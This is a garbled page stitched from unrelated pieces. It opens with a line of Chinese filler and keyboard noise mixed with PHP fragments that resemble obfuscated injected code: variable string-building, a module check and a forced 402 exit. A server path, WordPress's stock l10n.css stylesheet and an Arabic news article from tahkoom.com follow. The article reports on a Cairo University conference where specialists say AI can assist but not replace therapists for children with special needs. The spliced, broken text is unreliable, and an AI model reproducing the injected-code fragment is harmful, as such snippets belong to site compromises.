财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/css/l10n.css
/*------------------------------------------------------------------------------
  27.0 - Localization
------------------------------------------------------------------------------*/

/* RTL except Hebrew (see below): Tahoma as the first font; */
body.rtl,
body.rtl .press-this a.wp-switch-editor {
	font-family: Tahoma, Arial, sans-serif;
}

/* Arial is best for RTL headings. */
.rtl h1,
.rtl h2,
.rtl h3,
.rtl h4,
.rtl h5,
.rtl h6 {
	font-family: Arial, sans-serif;
	font-weight: 600;
}

/* he_IL: Remove Tahoma from the font stack. Arial is best for Hebrew. */
body.locale-he-il,
body.locale-he-il .press-this a.wp-switch-editor {
	font-family: Arial, sans-serif;
}

/* he_IL: Have <em> be bold rather than italic. */
.locale-he-il em {
	font-style: normal;
	font-weight: 600;
}

/* zh_CN: Remove italic properties. */
.locale-zh-cn .howto,
.locale-zh-cn .tablenav .displaying-num,
.locale-zh-cn .js .input-with-default-title,
.locale-zh-cn .link-to-original,
.locale-zh-cn .inline-edit-row fieldset span.title,
.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,
.locale-zh-cn #utc-time,
.locale-zh-cn #local-time,
.locale-zh-cn p.install-help,
.locale-zh-cn p.help,
.locale-zh-cn p.description,
.locale-zh-cn span.description,
.locale-zh-cn .form-wrap p {
	font-style: normal;
}

/* zh_CN: Enlarge dashboard widget 'Configure' link */
.locale-zh-cn .hdnle a { font-size: 12px; }

/* zn_CH: Enlarge font size, set font-size: normal */
.locale-zh-cn form.upgrade .hint { font-style: normal; font-size: 100%; }

/* zh_CN: Enlarge font-size. */
.locale-zh-cn #sort-buttons { font-size: 1em !important; }

/* de_DE: Text needs more space for translation */
.locale-de-de #customize-header-actions .button,
.locale-de-de-formal #customize-header-actions .button {
	padding: 0 5px 1px; /* default 0 10px 1px */
}
.locale-de-de #customize-header-actions .spinner,
.locale-de-de-formal #customize-header-actions .spinner {
	margin: 16px 3px 0; /* default 16px 4px 0 5px */
}
body[class*="locale-de-"] .inline-edit-row fieldset label span.title,
body[class*="locale-de-"] .inline-edit-row fieldset.inline-edit-date legend {
	width: 7em; /* default 6em */
}
body[class*="locale-de-"] .inline-edit-row fieldset label span.input-text-wrap,
body[class*="locale-de-"] .inline-edit-row fieldset .timestamp-wrap {
	margin-left: 7em; /* default 6em */
}

/* ru_RU: Text needs more room to breathe. */
.locale-ru-ru #adminmenu {
	width: inherit; /* back-compat for pre-3.2 */
}
.locale-ru-ru #adminmenu,
.locale-ru-ru #wpbody {
	margin-left: 0; /* back-compat for pre-3.2 */
}
.locale-ru-ru .inline-edit-row fieldset label span.title,
.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend {
	width: 8em; /* default 6em */
}
.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap {
	margin-left: 8em; /* default 6em */
}
.locale-ru-ru.post-php .tagsdiv .newtag,
.locale-ru-ru.post-new-php .tagsdiv .newtag {
	width: 165px; /* default 180px - 15px */
}
.locale-ru-ru.press-this .posting {
	margin-right: 277px; /* default 252px + 25px */
}
.locale-ru-ru .press-this-sidebar {
	width: 265px; /* default 240px + 25px */
}
.locale-ru-ru #customize-header-actions .button {
	padding: 0 5px 1px; /* default 0 10px 1px */
}
.locale-ru-ru #customize-header-actions .spinner {
	margin: 16px 3px 0; /* default 16px 4px 0 5px */
}

/* lt_LT: QuickEdit */
.locale-lt-lt .inline-edit-row fieldset label span.title,
.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend {
	width: 8em; /* default 6em */
}
.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
	margin-left: 8em; /* default 6em */
}

/* Fix overridden width for adjusted locales */
body[class*="locale-de-"] .quick-edit-row-post fieldset.inline-edit-col-right label span.title,
.locale-ru-ru .quick-edit-row-post fieldset.inline-edit-col-right label span.title,
.locale-lt-lt .quick-edit-row-post fieldset.inline-edit-col-right label span.title {
	width: auto;
}

@media screen and (max-width: 782px) {
	body[class*="locale-de-"] .inline-edit-row fieldset label span.input-text-wrap,
	body[class*="locale-de-"] .inline-edit-row fieldset .timestamp-wrap,
	.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
	.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,
	.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
	.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
		margin-left: 0;
	}
}
الذكاء الاصطناعي وتعليم ذوي الهمم: جامعة القاهرة تفتح النقاش – tahkoom.com
معرفة

الذكاء الاصطناعي وتعليم ذوي الهمم: جامعة القاهرة تفتح النقاش

‏كتبت شروق عارف                                                                                                                           
في ظل التقدم السريع في تقنيات الذكاء الاصطناعي وتوسعها في مختلف المجالات مثل التعليم والمحاماة والرعاية الصحية والإعلام نظمت جامعة القاهرة مؤتمر بعنوان أفاق الذي يهدف إلى دمج تقنية الذكاء الاصطناعي في تعليم ذوي الاحتياجات الخاصة وفي هذا السياق ظهرت عدة تساؤلات مهمة هل يمكن الاعتماد على الذكاء الاصطناعي في تعليم وتأهيل الأطفال ذوي الاحتياجات الخاصة؟ أم أنه مجرد أداة مساعدة بجانب المتخصصين والمعلمين

تصنيف ذوي الاحتياجات مهم للإستخدام الذكاء الاصطناعي

من جانبها أوضحت الدكتورة رشا أحمد أخصائية التخاطب والعلاج النفسي والسلوكي على ضرورة تصنيف فئة ذوي الاحتياجات الخاصة عند توظيف تقنيات الذكاء الاصطناعي وأشارت إلى أن بعض الحالات خاصة من يعانون من إعاقات شديدة مقترنة بتأخر لغوي أو اضطرابات نفسية قد لا يتمكنون من الاستفادة الكاملة من هذه البرامج

الذكاء الاصطناعي لا يغني عن الاخصائي

من جانبه أوضحت منه كرم الأخصائي النفسية على أهمية وجود إشراف نفسي دائم عند استخدام تقنيات الذكاء الاصطناعي مع الأطفال من ذوي الاحتياجات الخاصة وذلك لما يواجهه هؤلاء الأطفال من صعوبات نفسية وسلوكية تستلزم متابعة دقيقة من متخصصين كما أوضحت أن الذكاء الاصطناعي غير مؤهل للتعامل مع الاضطرابات النفسية العميقة التي تحتاج إلى تدخل الأخصائي بشكل مباشر وشددت على أن هذه لتقنيات لا تعتبر بديل عن الرعاية النفسية أو العلاج السلوكي بل ينبغي أن تكون وسيلة مساعدة تدعم عمل الأخصائيين النفسيين دون أن تحل محلها

تدخل الاخصائي أساسي في تأهيل الأطفال ذوي الاحتياجات الخاص                                            
أوضحت الدكتورة إيناس الشيخ الأخصائية النفسية واستشاري أمراض التخاطب أن الذكاء الاصطناعي يمكنه المساعدة في إعداد البرامج ووضع استراتيجيات لتحقيق أهدافها لكنه لا يستطيع تنفيذ هذه الاستراتيجيات بنفسه فالتدخل البشري بظل عنصر أساسيا وخاصة عند التعامل مع الأطفال من ذوي الاحتياجات الخاصة وأضافت: الطفل في هذه الحالة يحتاج إلى من يشعر به ويتعاطف معه ويحسن التعامل معه دون الإخلال بمصلحته لذلك لا بد من وجود شخص متخصص يعرف كيف يدير حالة الطفل ويساعده في التأهيل بشكل صحيح
وتابعت حديثها قائلة ترك الطفل لفترات طويلة أمام الشاشات أو الهاتف المحمول له نفس خطورة الاعتماد الكامل على الذكاء الاصطناعي لأن الطفل يكون حينها في وضع المستقبل فقط دون تفاعل حقيقي. بينما التفاعل البشري المباشر يُعزز من فرص التواصل الاجتماعي وتنمية المهارات وفيما يخص حالات القلق المفرط عند الأطفال
كما أوضحت الدكتورة إيناس أن الذكاء الاصطناعي قد يساعد في وضع خطة علاجية وتنفيذ فيديوهات للتعرض التدريجي للمخاوف لكنه لا يمكنه تنفيذ الخطة على أرض الواقع فالتواصل الإنساني يظل ضروري خاصة في مثل هذه الحالات الحساسة
و أشارت إلى أن بعض برامج النطق المدعومة بالذكاء الاصطناعي قد تكون مفيدة في أداء بعض التمارين خاصة للأطفال من ذوي الاحتياجات الخاصة لكن من المهم أن ندرك أن كل طفل له احتياجاته وظروفه الخاصة وهذه التفاصيل لا يستطيع لذكاء الاصطناعي التعامل معها بدقة دائما
كما ان الاعتماد الكامل على الذكاء الاصطناعي في تأهيل الأطفال ذوي لاحتياجات الخاصة يحمل العديد من المخاطر لذا يجب أن يكون هناك دور فعال للأخصائي لفهم الحالة وتوجيهها بالشكل المناسب

يبقى الذكاء الاصطناعي أداة مساعدة وفعالة في تحسين تعليم وتأهيل الأطفال ذوي الاحتياجات الخاصة ولكن بشرط أن يستخدم كأداة مساعدة وليس كبديل للأخصائيين

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى